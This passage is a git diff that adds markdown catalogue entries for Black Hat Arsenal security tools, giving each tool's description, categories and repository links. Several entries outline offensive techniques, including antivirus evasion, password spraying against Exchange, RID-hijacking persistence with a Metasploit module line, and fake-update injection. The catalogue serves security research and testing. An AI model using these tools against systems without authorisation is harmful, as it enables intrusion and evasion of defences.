Sessions++[](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)+[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)+[](https://www.toolswatch.org/2014/06/black-hat-usa-2014-arsenal-tools-speaker-list/)+[](https://www.toolswatch.org/2013/06/announcement-blackhat-arsenal-usa-2013-selected-tools/)+++### Code+https://github.com/jeremylong/DependencyCheck++### Documentation+https://jeremylong.github.io/DependencyCheck/++### Lead Developer+* Jeremy Long ([@ctxt](https://twitter.com/ctxt))++### Social Media+* [Twitter](https://twitter.com/ctxt)diff --git a/Penetration Testing/Blackhat Arsenal Tools/code_assessment/puma_scan.md b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/puma_scan.mdnew file mode 100644index 0000000..1009cc7--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/puma_scan.md@@ -0,0 +1,36 @@+# Puma Scan++### Description+Puma Scan is a software security Visual Studio analyzer extension built on top of Roslyn, the open-source .NET Compiler Platform. Puma Scan provides real time, continuous source code analysis as development teams write code. Vulnerabilities are immediately displayed in the development environment as spell check and compiler warnings, preventing security bugs from entering your applications. Simply install the plugin / NuGet package and find the following vulnerability patterns:+* Command Injection (SQL, LDAP, OS Commands)+* Cross-Site Scripting+* Cross-Site Request Forgery+* Insecure Cryptography+* Insecure Password Management+* Unvalidated Redirect+* Weak Validation+* Directory Traversal+* Missing Certificate Validation++### Categories+* Code Assessment+* Static Analysis+* .NET Security++#### BlackHat Arsenal sessions++[](https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)+[](https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+++### Code+[https://github.com/pumasecurity/puma-scan](https://github.com/pumasecurity/puma-scan)++### Lead Developers+* Eric Johnson ([@emjohn20](https://twitter.com/emjohn20)) - [https://pumascan.com/about.html](https://pumascan.com/about.html)+* Eric Mead ([@ericmmead](https://twitter.com/ericmmead)) - [https://pumascan.com/about.html](https://pumascan.com/about.html)+* Aaron Cure ([@curea](https://twitter.com/curea)) - [https://pumascan.com/about.html](https://pumascan.com/about.html)++### Social Media+* [Twitter](https://twitter.com/puma_scan)+* [Company Website](https://pumascan.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/cryptography/gokey.md b/Penetration Testing/Blackhat Arsenal Tools/cryptography/gokey.mdnew file mode 100644index 0000000..a3eaae7--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cryptography/gokey.md@@ -0,0 +1,20 @@+# gokey++### Description+gokey is a password manager, which does not require a password vault. Instead of storing your passwords in a vault it derives your password on the fly from your master password and supplied realm string (for example, resource URL). This way you do not have to manage, backup or sync your password vault (or trust its management to a third party) as your passwords are available immediately anywhere.++### Categories+* Cryptography++### Black Hat sessions+[](https://www.blackhat.com/eu-18/arsenal/schedule/index.html#gokey-reclaim-back-keys-for-your-kingdom---a-vaultless-password-manager-12821)++### Code+https://github.com/cloudflare/gokey++### Lead Developer(s)+ Ignat Korchagin - Cloudflare https://github.com/cloudflare++### Social Media+* [Twitter](https://twitter.com/ignatkn)+* [Company Website](https://cloudflare.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/cryptography/hashview.md b/Penetration Testing/Blackhat Arsenal Tools/cryptography/hashview.mdnew file mode 100644index 0000000..7efd8c8--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cryptography/hashview.md@@ -0,0 +1,24 @@+# Hashview++### Description+Hashview is a web front-end to hashcat with many powerful features geared towards penetration testers. Leverage task automation and real-time analytics for increased results and fancy reports.++### Categories+* Cryptography+* Penetration Testing+* Reporting++### Black Hat sessions+[](https://www.blackhat.com/us-17/arsenal/schedule/#hashview-8019)++### Code+https://github.com/hashview/hashview++### Lead Developers+ * Hans lakhan - i128 https://github.com/i128+ * Casey Cammilleri - ccammilleri https://github.com/ccammilleri++### Social Media+* [@jarsnah12](https://twitter.com/jarsnah12)+* [@caseycammilleri](https://twitter.com/CaseyCammilleri)+* [http://www.hashview.io](https://www.hashview.io/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/cryptography/thalos.md b/Penetration Testing/Blackhat Arsenal Tools/cryptography/thalos.mdnew file mode 100644index 0000000..664e2ff--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cryptography/thalos.md@@ -0,0 +1,27 @@+# Thalos: Simple and Secure approach to file storage in untrusted environments++### Description+Thalos is a secure and distributed system for file storage in untrusted environments. Thalos design makes it impossible for anyone who has physical or virtual access to the servers to decrypt files without the right key and neither to establish a connection between one file and its owner. Thalos relies on local elaborations to perform encryption. Furthermore, a smart and "hierarchical" key management system makes it quick and simple to use for everyone who has an internet access.++### Categories+* Cryptography++### Black Hat sessions+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)+++### Popularity++++### Code+https://github.com/ecleipteon/Thalos++### Lead Developer(s)+Luca Maria Castiglione - MSc student @ UniNa ([email protected])++### Social Media+* [Twitter](https://twitter.com/ecleipteon)+* [Website](https://ecleipteon.github.io/Thalos/)++diff --git a/Penetration Testing/Blackhat Arsenal Tools/cryptography/whatsyoursign.md b/Penetration Testing/Blackhat Arsenal Tools/cryptography/whatsyoursign.mdnew file mode 100644index 0000000..dc92b08--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cryptography/whatsyoursign.md@@ -0,0 +1,29 @@+# WhatsYourSign++### Description+Verifying a file's cryptographic signature can deduce its origin or trustability. Unfortunately on OS X there is no simple way to view a file's signature from the UI.++WhatsYourSign adds a menu item to Finder.app. Simply right-, or control-click on any file to display its cryptographic signing information!++<p align="center"><img src="https://objective-see.com/images/WYS/whatsYourSign.png"></p>++Full details and usage instructions can be found [here](https://objective-see.com/products/whatsyoursign.html).+++### Categories+* Cryptography+* Malware Research++### Black Hat sessions+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Code+https://github.com/objective-see/WhatsYourSign++### Lead Developer+ Patrick Wardle - Objective-See++### Social Media+* [Twitter](https://twitter.com/patrickwardle)+* [Company Website](https://objective-see.com)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/avet.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/avet.mdnew file mode 100644index 0000000..d6228b2--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/avet.md@@ -0,0 +1,35 @@+# AVET++### Description+AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques.++What & Why:+- When running an exe file made with msfpayload & co, the exe file will often be recognized by the antivirus software+- AVET is a antivirus evasion tool targeting windows machines+- The techniques used in avet evaded most antivirus suites, including MS Defender, McAfee, Sophos, Avira and more+- AVET includes two tools, avet.exe with different antivirus evasion techniques and make_avet for compiling a preconfigured binary file+- For encoding the shellcode the tools format.sh and sh_format are included+- AVET is tested with Kali 2 and tdm-gcc+- Interactive assistant for easier usage+- Support for 64bit payloads+- The metasploit psexec module can be used++### Categories+* Exploitation+* Vulnerability assessment+* Ethical Hacking++### Black Hat sessions+[](https://www.toolswatch.org/2017/02/the-black-hat-arsenal-asia-2017-great-line-up/)+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+[](https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+https://github.com/govolution/avet++### Lead Developer+ Daniel Sauder - https://github.com/govolution++### Social Media+* [Twitter](https://twitter.com/DanielX4v3r)+* [Blog](https://govolution.wordpress.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/commix.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/commix.mdnew file mode 100644index 0000000..c1a78b9--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/commix.md@@ -0,0 +1,21 @@+# Commix++### Description+**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an automated tool that can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or HTTP header.++### Categories+* Exploitation+* Vulnerability Assessment++### Black Hat sessions+[](https://www.blackhat.com/eu-15/arsenal.html#commix-detecting-and-exploiting-command-injection-flaws)++### Code+https://github.com/commixproject/commix++### Lead Developer+[Anastasios Stasinopoulos](https://github.com/stasinopoulos)++### Social Media+* [Twitter](https://twitter.com/commixproject)+* [Website](http://commixproject.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/gef.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/gef.mdnew file mode 100644index 0000000..7233216--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/gef.md@@ -0,0 +1,43 @@+# GEF - GDB Enhanced Features+++### Description++`GEF` is a kick-ass set of GDB commands for X86, ARM, MIPS, PowerPC and SPARC to make+GDB cool again for exploit dev. It is aimed to be used mostly by exploiters and reverse-engineers,+to provide additional features to GDB using the Python API to assist during the process of+dynamic analysis and exploit development.++It has full support for both Python2 and Python3 indifferently (as more and more distros start+pushing gdb compiled with Python3 support).+++### Categories++ * Exploitation+ * Reverse-Engineering+ * Debugging+ * Capture-The-Flag+++### Black Hat sessions++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+++### Code+https://github.com/hugsy/gef.git++### Lead Developers+ * [hugsy](https://twitter.com/_hugsy_)++Along with many contributors:+ * [GrazFather](https://twitter.com/Grazfather)+ * [Others](https://github.com/hugsy/gef/graphs/contributors)++### Social Media+ * IRC: Server:freenode.net Channel:##gef+ * WebIRC: https://webchat.freenode.net/?channels=##gef+ * [Documentation](https://gef.readthedocs.org/en/master/)+ * [Slides](https://blahcat.github.io/static/bhusa_2017/BH-USA-17-Alladoum-GDB-Enhanced-Features.pdf)+ * [Video Tutorials](https://www.youtube.com/playlist?list=PLjAuO31Rg972WeMvdR_57Qu-aVM8T6DkQ)diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/lazyrecon.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/lazyrecon.mdnew file mode 100644index 0000000..c2c0b5a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/lazyrecon.md@@ -0,0 +1,24 @@+# Lazyrecon v2.0++### Description+Lazyrecon v2.0 is a wicked sick bash script, CI/CD ready subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing and port scanning. It has a simple modular architecture and is optimized for speed while working with GitHub and a Wayback machine.++### Categories+* Exploitation+* Ethical Hacking+* Vulnerability assessment++### Black Hat sessions++[](https://www.blackhat.com/us-21/arsenal/schedule/#lazyrecon-v-24051)+++### Code+https://github.com/storenth/lazyrecon++### Lead Developer+Kirill Zhdanov - https://github.com/storenth++### Social Media+* [Twitter](https://twitter.com/storenth)+* [Discord](https://discord.gg/fR2QVrWBTq)diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/leviathan-framework.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/leviathan-framework.mdnew file mode 100644index 0000000..b1fcfd3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/leviathan-framework.md@@ -0,0 +1,24 @@+# Leviathan Framework++### Description+Leviathan is a mass audit toolkit which has wide range service discovery, brute force, SQL injection detection and running custom exploit capabilities. It consists open source tools such masscan, ncrack, dsss and gives you the flexibility of using them with a combination.++The main goal of this project is auditing as many system as possible in country-wide or in a wide IP range.++### Categories+* Exploitation++### Black Hat sessions++[](https://www.blackhat.com/us-17/arsenal/schedule/#mailsniper-7907)++### Code+https://github.com/leviathan-framework/leviathan++### Lead Developers+Utku Sen++Ozge Barbaros++### Social Media+* [Website](https://leviathan-framework.org/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/mailsniper.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/mailsniper.mdnew file mode 100644index 0000000..6fbee0a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/mailsniper.md@@ -0,0 +1,25 @@+# MailSniper++### Description+MailSniper is a PowerShell-based penetration testing tool whose primary purpose is to search through email in a Microsoft Exchange environment for specific terms (i.e. passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.++MailSniper includes additional modules for attacking externally-facing Outlook Web Access (OWA) and Exchange Web Services (EWS) portals. With MailSniper, it is also possible to: perform password spraying attacks, enumerate internal domain names and usernames, locate inboxes with too broad permissions, and gather the Global Address List containing all email addresses of users at an organization from OWA and EWS.++### Categories+* Exploitation+* Network Attacks++### Black Hat sessions++[](https://www.blackhat.com/us-17/arsenal/schedule/#mailsniper-7907)++### Code+https://github.com/dafthack/MailSniper++### Lead Developer+Beau Bullock++### Social Media+* [Twitter](https://twitter.com/dafthack)+* [Company Website](https://blackhillsinfosec.com/)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/rattler.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/rattler.mdnew file mode 100644index 0000000..2aa09c2--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/rattler.md@@ -0,0 +1,24 @@+# Rattler++### Description+Rattler is a tool that automates the identification of DLL's which can be used for DLL preloading attacks.+Rattler enumerates an EXE's DLL's at runtime and provides a list of vulnerable DLL's which can be exploited for a preloading attack against the target application.++### Categories+* Exploitation+* Ethical Hacking+* Vulnerability assessment++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/sensepost/rattler++### Lead Developer+ Chris Le Roy - SensePost https://github.com/sensepost++### Social Media+* [Twitter](https://twitter.com/brompwnie)+* [Company Website](https://sensepost.com)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/exploitation/rid_hijacking.md b/Penetration Testing/Blackhat Arsenal Tools/exploitation/rid_hijacking.mdnew file mode 100644index 0000000..8917667--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/exploitation/rid_hijacking.md@@ -0,0 +1,39 @@+# Windows RID Hijacking Attack++### Description++The RID Hijacking is a post-exploitation vector which allows stealthy persistence on **all Windows versions**. By using only OS resources,+this attack will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID),+which should be owned by one existing account on the destination machine.++Taking advantage of some Windows Local Users Management integrity issues, this hook will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges+of another existing account (like ADMINISTRATOR account), even if the spoofed account is _*disabled*_.++#### Metasploit Module++*msf> use post/windows/manage/rid_hijack*++<p align="center">+ <img src="https://github.com/r4wd3r/RID-Hijacking/blob/master/rid_hijack.png" height="50%" weight="50%">+</p>++For more information see [csl.com.co](http://csl.com.co/rid-hijacking/).++### Categories+* Windows Persistence+* Post Exploitation+* Ethical Hacking++### Black Hat sessions+[](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)++### Code+https://github.com/r4wd3r/RID-Hijacking++### Lead Developer(s)+ Sebastián Castro (@r4wd3r)++### Social Media+* [Twitter](https://twitter.com/r4wd3r)+* [Github](https://github.com/r4wd3r)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/forensics/inVtero.net.md b/Penetration Testing/Blackhat Arsenal Tools/forensics/inVtero.net.mdnew file mode 100644index 0000000..a6e9419--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/forensics/inVtero.net.md@@ -0,0 +1,52 @@+# [inVtero.net](https://github.com/ShaneK2/inVtero.net)++## Description+inVtero.net: A high speed (Gbps) Forensics, Memory integrity & assurance. Includes offensive & defensive memory capabilities.+Find/Extract processes, hypervisors (including nested) in memory dumps using microarchitechture independent Virtual Machiene Introspection+techniques++Supports: VMWare (client/servers), XEN and physical systems (PAGEDUMP).++#### Integrity+Users can manage their own "golden images" of secure hashes used to ensure no byte slipps through the cracks+of a forensic, reverse engineering, sandbox analysis or host integrity monitoring operation.++We've recently added cloud hosted bitmaps and are expanding this to allow users to use the integrity funtionality without having to construct+a database first.++The block based integrity checks occur at a configurable size and will isolate very small code patches quickly.++Integrity checking provides confidence to useres that they have analyzed "everything" and they have not wasted+time looking in the wrong plaes.++#### Memory Hacking+An IronPython shell is able to use native type reflection that allwos for reading and writing physical memory dumps. Test a new+kernel patch or improve inVtero itself. (e.g. edit _EPROCESS objects from python and write them back to a VM image then resume+exection to observe DMA style hacking with very easy scripts that map 1:1 to known symbol sources)++Recent modules include a Gargoyle detection mechanism that uses the type information extracted from the systems to allow for+an exhaustive verification of thread stack states that can detect the preseanse of RoP type _weird machienes_.++#### Performance+A goal of the project is to provide high quality assurace as quickly as possiable. To avoid the common pitfall of many debuggers+and forensic platforms that are trivially compromised.++### Categories+* Forensics+* Debugger (Passive memory debugging/hacking)+* Malware HIDS (Integrity Monitoring)+* Reverse Engineering++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/ShaneK2/inVtero.net++### Lead Developer+K2 - https://github.com/K2++### Social Media+* [Twitter](https://twitter.com/ktwo_K2)+----+diff --git a/Penetration Testing/Blackhat Arsenal Tools/forensics/siembol.md b/Penetration Testing/Blackhat Arsenal Tools/forensics/siembol.mdnew file mode 100644index 0000000..1710e8c--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/forensics/siembol.md@@ -0,0 +1,31 @@++# Siembol: An Open-Source Real-Time SIEM Tool Based on Big Data Technologies++### Description+Siembol provides a scalable, advanced security analytics framework based on open-source big data technologies. Siembol normalizes, enriches, and alerts on data from various sources, allowing security teams to respond to attacks before they become incidents.++### Categories++* Data Forensics+* Incident Response+* Network Defense++### Black Hat sessions++[](https://www.blackhat.com/us-21/arsenal/schedule/index.html#siembol-an-open-source-real-time-siem-tool-based-on-big-data-technologies-24038)+++### Popularity++To be completed++### Code+https://github.com/G-Research/siembol+++### Lead Developer(s)+ Marian Novotny - https://github.com/mariannovotny++### Social Media+* [Website](https://siembol.io/)+* [Company Website](https://www.gresearch.co.uk/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/forensics/userline.md b/Penetration Testing/Blackhat Arsenal Tools/forensics/userline.mdnew file mode 100644index 0000000..5ed28c6--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/forensics/userline.md@@ -0,0 +1,22 @@+# Userline++### Description+This tool automates the process of creating logon relations from MS Windows Security Events by showing a graphical relation among users domains, source and destination logons, session duration, who was logged on the systems in a given datetime, session hijacking, etc. It is also able to integrate with 3rd party tools and provides different output modes such as CSV output, Neo4j, Timesketch, JSON, SQLite, Gephi and Graphviz.++### Categories+* Data Forensics+* Incident Response++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+[](http://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+https://github.com/thiber-org/userline++### Lead Developer+ Chema Garcia - https://github.com/sch3m4++### Social Media+* [Twitter](https://twitter.com/sch3m4)+* [Company Website](http://thiber.org)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/coffeeshot.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/coffeeshot.mdnew file mode 100644index 0000000..04d7ebb--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/coffeeshot.md@@ -0,0 +1,34 @@+++# :coffee: CoffeeShot: Avoid Detection with Memory Injection :syringe:++### Description++CoffeeShot is an evasion framework that injects payload from Java-based programs into designated processes on Microsoft Windows.++CoffeeShot assists blue team members in assessing the effectiveness of their anti-malware measures against malicious software written in Java. Red team members and pen testers can also use CoffeeShot to bypass the target’s security controls.++CoffeShot utilizes JNA (Java Native Access) to inject payload from Java-based programs into designated processes on Microsoft Windows.++The memory injection methods that CoffeeShot employs are straightforward and are well-known in the context of traditional, compiled executables. The effectiveness of these techniques at evading AV when they’re implemented in Java, highlights the brittle nature even by modern antivirus tools.++### Categories+* Frameworks+* Security Testing+* Red Team+* Ethical Hacking+* Post Exploitation++### Black Hat sessions+[](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)++### Code+https://github.com/MinervaLabsResearch/CoffeeShot++### Lead Developer+Asaf Aprozper (@3pun0x)++### Social Media+* [Twitter](https://twitter.com/3pun0x)+* [Github](https://github.com/3pun0x)+* [Minerva Labs Blog Post](https://blog.minerva-labs.com/coffeeshot-avoid-detection-with-memory-injection)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/cyber_range.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/cyber_range.mdnew file mode 100644index 0000000..db2bc53--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/cyber_range.md@@ -0,0 +1,44 @@++++# Cyber Range: An AWS-based Open-Source Cyber Range framework++### Description++This CyberRange project represents the first open-source Cyber Range blueprint in the world.++This project provides a bootstrap framework for a complete offensive, defensive, reverse engineering, & security intelligence tooling in a private research lab using the AWS Cloud.++This project contains vulnerable systems and a toolkit of the most powerful open-source / community edition tools known to Penetration testers.++It simply provides a researcher with a disposable offensive / defensive AWS-based environment in less than 5 minutes.++# Get Started+To gain access you must send me your AWS account number so I can share the 30+ Amazon Machine Images (AMIs).++Use my secure [FormAssembly](https://www.formassembly.com) form -> [CyberRange Sign-Up Form](https://www.tfaforms.com/4729221)+++### Categories+* Frameworks+* Red Team+* Ethical Hacking+* Reverse Engineering+* OSINT+* Network Defense++### Black Hat sessions+[](https://www.blackhat.com/eu-19/arsenal/schedule/index.html#cyberrange-an-open-source-offensivedefensive-security-lab-in-aws-18229)++++### Code+https://github.com/secdevops-cuse/CyberRange++### Lead Developer+Tom Cappetta++### Social Media+* [LinkedIn](https://www.linkedin.com/in/thomascappetta/)+* [Twitter](https://twitter.com/cappetta72)+* [Github](https://github.com/cappetta)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/defplorex.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/defplorex.mdnew file mode 100644index 0000000..eec6781--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/defplorex.md@@ -0,0 +1,39 @@+# DefPloreX++### Description+An Elasticsearch-based toolkit that our team uses for large-scale processing, analysis and visualization of e-crime records. In particular, we've successfully been applying DefPloreX to the analysis of deface records (e.g., from web compromises); hence its name, Def(acement) eXPlorer (DefPloreX).++The full version of DefPloreX includes:++ * A thin wrapper to interact with an Elasticsearch backend (included in this release)+ * A distributed data-processing pipeline based on Celery (example included in this release)+ * An analysis component to extract information from deface web pages+ * A features extraction component to produce a compact, numerical and categorical representation of each web page+ * A statistical machine-learning component to automatically find groups of similar web pages++The input to DefPloreX is a feed of URLs describing the deface web pages,+including metadata such as the (declared) attacker name, timestamp, reason+for hacking that page, and so on. Separately, we also have a mirror of the+web pages at the time of compromise.++### Categories+* OSINT+* Frameworks++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/trendmicro/defplorex++### Lead Developer(s)+ Federico Maggi - Trend Micro https://github.com/phretor+ Marco Balduzzi - Trend Micro https://github.com/embyte+ Vincenzo Ciancaglini - Trend Micro+ Lion Gu - Trend Micro+ Ryan Flores - Trend Micro+++### Social Media+* [Twitter](https://twitter.com/trendlabs)+* [DefPloreX blog post](http://blog.trendmicro.com/trendlabs-security-intelligence/defplorex-machine-learning-toolkit-large-scale-ecrime-forensics/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/docker_security_playground.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/docker_security_playground.mdnew file mode 100644index 0000000..95269c0--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/docker_security_playground.md@@ -0,0 +1,33 @@+++# Docker Security Playground: A Microservices-based framework for the study of network security++### Description++Docker Security Playground is a framework that allows you to:+- Create **network and network security scenarios**, in order to understand all the network protocols,+rules, and security issues with host networks. .+- Learn **penetration testing techniques** by simulating vulnerability labs scenarios+- **Manage a set of docker-compose project** . Main goal of DSP is to skilling in penetration testing and network security, but his flexibility allows you the+**creation**, **graphic editing** and **managment run / stop** of all your **docker-compose+labs**.++### Categories+* Frameworks+* Security Testing+* Red Team+* Ethical Hacking+* Post Exploitation++### Black Hat sessions+[](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)++### Code+https://github.com/giper45/DockerSecurityPlayground++### Lead Developer+Gaetano Perrone++### Social Media+* [Twitter](https://twitter.com/g_per45)+* [Github](https://github.com/giper45)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/dradis_framework.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/dradis_framework.mdnew file mode 100644index 0000000..09a5ac1--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/dradis_framework.md@@ -0,0 +1,31 @@+# Dradis Framework++### Description+Dradis is an extensible, cross-platform, open source collaboration framework for InfoSec teams. It can import from over 19 popular tools, including Nessus, Qualys, Burp and AppScan. Started in 2007 (this is the 10th year anniversary!), Dradis Framework has been growing ever since (10,000+ commits in the last 12 months). Dradis is the best tool to combine the output of different scanners, add your manual findings and evidence and generate a report with one click.++Free forever and open source.++### Categories+* Collaboration+* Reporting+* Frameworks++### Black Hat sessions+[](https://www.toolswatch.org/2014/09/lineup-for-the-blackhat-arsenal-europe-2014/)+[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)+[](https://www.blackhat.com/us-16/arsenal.html#dradis-framework)+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+++### Code+https://github.com/dradis/dradis-ce++### Lead Developers+* Daniel Martin - Security Roots https://github.com/etdsoft+* Xavi Vila - Security Roots https://github.com/dormi+* Aaron Manaloto - Security Roots https://github.com/aapomm++### Social Media+* [Forum](http://discuss.dradisframework.org)+* [Twitter](https://twitter.com/dradisfw)+* [Website](http://dradisframework.org/ce/?utm_source=github&utm_medium=web&utm_campaign=arsenal-tools)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/evilgrade.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/evilgrade.mdnew file mode 100644index 0000000..2f6e618--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/evilgrade.md@@ -0,0 +1,24 @@+# Evilgrade++### Description+Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries (agents), a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules. Easy to set up new settings, and has an autoconfiguration when new binary agents are set.++### Categories+* Framework+++### Black Hat sessions+[](http://www.blackhat.com/html/bh-us-10/bh-us-10-specialevents_arsenal.html)++### Popularity+++### Code+https://github.com/infobyte/evilgrade++### Lead Developer(s)+ Francisco Amato - f-amato https://github.com/f-amato+ Federico Kirschbaum - fedek https://github.com/fedek++### Social Media+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/exegol.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/exegol.mdnew file mode 100644index 0000000..046dd43--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/exegol.md@@ -0,0 +1,42 @@+# Exegol++<div align="center">+ <img alt="exegol logo" width="600" src="https://raw.githubusercontent.com/ThePorgs/Exegol-docs/main/.assets/rounded_social_preview.png">+</div>++### Description+Exegol is an alternative to Kali Linux, Parrot, BlackArch, ...++It provides all the right tools, advanced customization, in docker environments, providing a Python wrapper to use it very easily, and leaving room for user custom setup.++It's the best hacking environment for professionals. It support various OSes (Linux, Windows, macOS) and architectures (AMD64, ARM64), is community-driven, and trusted by 15k+ users worldwide.++### Categories+* Pentesting+* CTF+* Bug bounty++### Black Hat sessions++[]()+[]()+[]()++### Start here+https://exegol.readthedocs.io/++### Other links+- Python wrapper: https://github.com/ThePorgs/Exegol+- PyPI package: https://pypi.org/project/Exegol/+- Docker images: https://github.com/ThePorgs/Exegol-images+- Docker images registry: https://hub.docker.com/repository/docker/nwodtuhs/exegol+- Offline resources: https://github.com/ThePorgs/Exegol-resources+- Documentation source: https://github.com/ThePorgs/Exegol-docs++### Lead Developer(s)+- Charlie Bromberg - [Shutdown](https://twitter.com/_nwodtuhs)+- Mathieu Calemard du Gardin - [Dramelac](https://twitter.com/Dramelac_)++### Social medias+* [Discord](https://discord.gg/cXThyp7D6P)+----diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/halcyon_ide.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/halcyon_ide.mdnew file mode 100644index 0000000..e916f82--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/halcyon_ide.md@@ -0,0 +1,31 @@++# Halcyon IDE++### Description+Halcyon is the first IDE specifically focused on Nmap Script (NSE) Development. This research idea was originated while writing custom Nmap Scripts for Enterprise Penetration Testing Scenarios. The existing challenge in developing Nmap Scripts (NSE) was the lack of a development environment that gives easiness in building custom scripts for real world scanning, at the same time fast enough to develop such custom scripts. Halcyon is free to use, java based application that comes with code intelligence, code builder, auto-completion, debugging and error correction options and also a bunch of other features like other development IDE(s) has. This research was started to give better development interface/environment to researchers and thus enhance the number of NSE writers in the information security community.++Halcyon IDE can understand Nmap library as well as traditional LUA syntax. Possible repetitive codes such as web crawling, bruteforcing etc., is pre-built in the IDE and this makes easy for script writers to save their time while developing majority of test scenarios.+++### Categories+* Frameworks+* Vulnerability assessment++### Black Hat 